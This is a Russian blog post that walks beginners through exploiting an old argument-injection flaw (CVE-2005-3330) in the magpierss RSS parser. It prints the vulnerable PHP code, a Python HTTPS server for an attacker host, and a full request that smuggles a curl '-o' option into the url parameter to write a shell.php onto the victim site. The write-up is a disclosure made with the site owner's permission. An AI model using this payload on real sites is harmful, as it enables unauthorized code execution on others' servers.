Pull to refresh

Пример эксплуатации одной старой уязвимости

Reading time4 min
Views14K
Всем добра! Хочется рассказать об эксплуатации одной старой известной уязвимости CVE-2005-3330, которую обнаружили в 2016 году на довольно популярном веб-сайте, который ведет свою историю с 2006 года. Могу лишь предположить что фреймворк с уязвимостью просто забыли удалить с сайта, хотя чем черт не шутит может быть и используют.

Статья может быть полезна новичкам, которые осваивают информационную безопасность.


Итак. Уязвимость присутствует в парсере RSS magpierss-0.72, который в свою очередь использует библиотеку Snoopy. Пример эксплоита тут. Но он, как случается довольно часто, лишь намекает на то, как уязвимость можно эксплуатировать. Описание уязвимости говорит нам о том, что уязвимость проявляется при передаче пользовательских данных, а именно https-адреса стороннего веб-сайта в GET-параметре url.

Уязвимая функция
function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")
	{
		if($this->passcookies && $this->_redirectaddr)
			$this->setcookies();

		$headers = array();		
					
		$URI_PARTS = parse_url($URI);
		if(empty($url))
			$url = "/";
		// GET ... header not needed for curl
		//$headers[] = $http_method." ".$url." ".$this->_httpversion;		
		if(!empty($this->agent))
			$headers[] = "User-Agent: ".$this->agent;
		if(!empty($this->host))
			$headers[] = "Host: ".$this->host;
		if(!empty($this->accept))
			$headers[] = "Accept: ".$this->accept;
		if(!empty($this->referer))
			$headers[] = "Referer: ".$this->referer;
		if(!empty($this->cookies))
		{			
			if(!is_array($this->cookies))
				$this->cookies = (array)$this->cookies;
	
			reset($this->cookies);
			if ( count($this->cookies) > 0 ) {
				$cookie_str = 'Cookie: ';
				foreach ( $this->cookies as $cookieKey => $cookieVal ) {
				$cookie_str .= $cookieKey."=".urlencode($cookieVal)."; ";
				}
				$headers[] = substr($cookie_str,0,-2);
			}
		}
		if(!empty($this->rawheaders))
		{
			if(!is_array($this->rawheaders))
				$this->rawheaders = (array)$this->rawheaders;
			while(list($headerKey,$headerVal) = each($this->rawheaders))
				$headers[] = $headerKey.": ".$headerVal;
		}
		if(!empty($content_type)) {
			if ($content_type == "multipart/form-data")
				$headers[] = "Content-type: $content_type; boundary=".$this->_mime_boundary;
			else
				$headers[] = "Content-type: $content_type";
		}
		if(!empty($body))	
			$headers[] = "Content-length: ".strlen($body);
		if(!empty($this->user) || !empty($this->pass))	
			$headers[] = "Authorization: BASIC ".base64_encode($this->user.":".$this->pass);
			
		for($curr_header = 0; $curr_header < count($headers); $curr_header++) {
			$cmdline_params .= " -H \"".$headers[$curr_header]."\"";
		}
			  	                         
		if(!empty($body))
			$cmdline_params .= " -d \"$body\"";
		
		if($this->read_timeout > 0)
			$cmdline_params .= " -m ".$this->read_timeout;
		
		$headerfile = uniqid(time());
		
		# accept self-signed certs
		$cmdline_params .= " -k"; 
		exec($this->curl_path." -D \"/tmp/$headerfile\"".escapeshellcmd($cmdline_params)." ".escapeshellcmd($URI),$results,$return);

Для того, чтобы проэксплуатировать уязвимость:

  1. У нас должен быть веб-сайт, который отдаст страничку по https. Такой веб-сайт мы можем поднять на Python'е за 5 секунд. Создаём скрипт https.py:

    import BaseHTTPServer, SimpleHTTPServer
    import ssl
    
    httpd = BaseHTTPServer.HTTPServer(('hacker_host', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
    httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
    httpd.serve_forever()

    Для работы ему понадобится сертификат. Создадим самоподписанный сертификат следующей командой:

    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes

    В корень со скриптом https.py положим скрипт index.php с любым интересным содержимым, например таким:

    <?php echo("hello world!"); ?>

  2. Мы должны знать путь, чтобы передать в параметр url то, что мы хотим:

    http://<host:port>/<path>/usr/lib/magpierss-0.72/scripts/magpie_debug.php?url=

Теперь можно эксплуатировать. В нашем случае запрос выглядел следующим образом:

http://<host:port>/<path>/usr/lib/magpierss-0.72/scripts/magpie_debug.php?url=https://<hacker_host>/index.php -o"cache/../../../../../shell.php"

Что означает осуществление http-запроса к уязвимому сайту <host:port> с параметром url, в который мы передаём адрес странички на сайте атакующего https://<hacker_host:hacker_port>/index.php. Опытным путём установлено, что сайт положит содержимое файла index.php в файл shell.php корня сайта. Теперь сайт жертвы <host:port> содержит наш скрипт shell.php. Обратиться к нему можно так:

http://<host:port>/shell.php

Рекомендацией по исправлению является удаление неиспользуемого кода и устаревших фреймворков, проверка сайта на наличие бэкдоров, шеллкодов и т.п.

Администрация сайта подтвердила наличие уязвимости и начала процесс исправления; разрешила опубликовать статью с обезличенной информацией.
Tags:
Hubs:
Total votes 23: ↑19 and ↓4+15
Comments0

Articles